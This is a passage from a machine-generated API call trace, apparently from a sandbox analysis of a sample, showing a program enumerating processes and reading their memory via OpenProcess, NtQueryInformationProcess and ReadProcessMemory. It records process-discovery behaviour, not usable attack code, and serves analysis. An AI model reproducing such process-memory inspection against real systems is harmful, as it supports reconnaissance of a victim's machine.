ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0196.826] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x6cb0f5b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0196.826] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c9d5602ad0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.826] malloc (_Size=0x6a) returned 0x20abc2831b0 [0196.826] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c9d5603128, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0196.827] free (_Block=0x20abc2831b0) [0196.827] CloseHandle (hObject=0x458) returned 1 [0196.828] _ui64tow_s (in: _Value=0xf8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="248") returned 0x0 [0196.941] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="248") returned 3 [0196.942] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0196.942] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0196.955] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8) returned 0x458 [0196.955] GetLastError () returned 0x0 [0196.955] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0196.955] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5660c01018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0196.955] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0196.956] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2117e361bd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0196.956] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2117e361818, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0196.956] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0196.957] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0196.957] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5660c01020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0196.957] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2117e361200, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.958] malloc (_Size=0x64) returned 0x20abc2807d0 [0196.958] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2117e361864, lpBuffer=0x20abc2807d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0196.959] free (_Block=0x20abc2807d0) [0196.959] CloseHandle (hObject=0x458) returned 1 [0196.960] _ui64tow_s (in: _Value=0xa54, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2644") returned 0x0 [0196.963] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2644") returned 4 [0196.964] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0196.964] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0196.976] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa54) returned 0x458 [0196.976] GetLastError () returned 0x0 [0196.976] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0196.976] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x112bab0018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0196.977] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0196.977] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x142610b1c80, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0196.977] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x142610b18c8, lpBuffer=0x2dc24fc2d0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0196.978] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0196.979] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0196.979] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x112bab0020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0196.979] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x142610b12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.979] malloc (_Size=0x72) returned 0x20abc282120 [0196.979] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x142610b1922, lpBuffer=0x20abc282120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0196.980] free (_Block=0x20abc282120) [0196.980] CloseHandle (hObject=0x458) returned 1 [0197.209] _ui64tow_s (in: _Value=0xa50, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2640") returned 0x0 [0197.212] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2640") returned 4 [0197.213] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x1d63ec4f, dwBuildNumber=0x7ffb, dwPlatformId=0xc24fc880, szCSDVersion="-") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.213] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.226] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa50) returned 0x458 [0197.226] GetLastError () returned 0x0 [0197.226] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0197.226] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3ec7242018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0197.227] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0197.227] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x14b00903510, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0197.228] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x14b0090312a, lpBuffer=0x2dc24fc2d0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0197.229] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0197.230] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0197.230] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3ec7242020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0197.230] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x14b00902ad0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0197.231] malloc (_Size=0xd6) returned 0x20abc286890 [0197.231] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x14b00903192, lpBuffer=0x20abc286890, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0197.232] free (_Block=0x20abc286890) [0197.233] CloseHandle (hObject=0x458) returned 1 [0197.233] _ui64tow_s (in: _Value=0x150, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="336") returned 0x0 [0197.237] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="336") returned 3 [0197.238] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.238] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.445] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x150) returned 0x458 [0197.445] GetLastError () returned 0x0 [0197.445] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0197.445] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3b22cf9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0197.445] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0197.446] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x222dfa036e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0197.446] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x222dfa03322, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0197.447] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0197.449] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0197.449] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3b22cf9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0197.449] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x222dfa02c70, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0197.450] malloc (_Size=0xce) returned 0x20abc286890 [0197.450] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x222dfa03378, lpBuffer=0x20abc286890, nSize=0xcc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0197.450] free (_Block=0x20abc286890) [0197.451] CloseHandle (hObject=0x458) returned 1 [0197.452] _ui64tow_s (in: _Value=0xb64, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2916") returned 0x0 [0197.455] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2916") returned 4 [0197.456] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.456] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.469] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb64) returned 0x0 [0197.469] CloseHandle (hObject=0x0) returned 0 [0197.470] _ui64tow_s (in: _Value=0x1d0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="464") returned 0x0 [0197.473] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="464") returned 3 [0197.474] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.474] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x458 [0197.596] GetLastError () returned 0x0 [0197.596] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0197.596] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3f49eb5018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0197.597] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0197.597] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x18abe791d30, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0197.597] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x18abe791948, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0197.598] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0197.598] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0197.599] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3f49eb5020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0197.599] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x18abe791330, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0197.599] malloc (_Size=0x7e) returned 0x20abc2831b0 [0197.599] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x18abe7919a8, lpBuffer=0x20abc2831b0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0197.600] free (_Block=0x20abc2831b0) [0197.601] CloseHandle (hObject=0x458) returned 1 [0197.601] _ui64tow_s (in: _Value=0xde8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0197.605] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3560") returned 4 [0197.606] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.606] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.618] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x458 [0197.618] GetLastError () returned 0x0 [0197.618] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0197.618] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x49f018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0197.619] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0197.619] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0197.619] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f18f8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0197.620] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0197.621] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0197.621] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x49f020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0197.621] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0197.621] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.621] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f1938, lpBuffer=0x20abc27cb20, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0197.622] free (_Block=0x20abc27cb20) [0197.623] CloseHandle (hObject=0x458) returned 1 [0197.623] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0197.626] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3576") returned 4 [0197.627] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.627] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.754] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x460 [0197.754] GetLastError () returned 0x0 [0197.754] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0197.754] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x468018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0197.754] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0197.754] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x371ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0197.755] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3718f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0197.755] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0197.757] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0197.757] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x468020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0197.757] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3712e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0197.757] malloc (_Size=0x6e) returned 0x20abc2831b0 [0197.757] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x37195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0197.758] free (_Block=0x20abc2831b0) [0197.759] CloseHandle (hObject=0x460) returned 1 [0197.759] _ui64tow_s (in: _Value=0xe08, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3592") returned 0x0 [0197.764] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3592") returned 4 [0197.765] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, 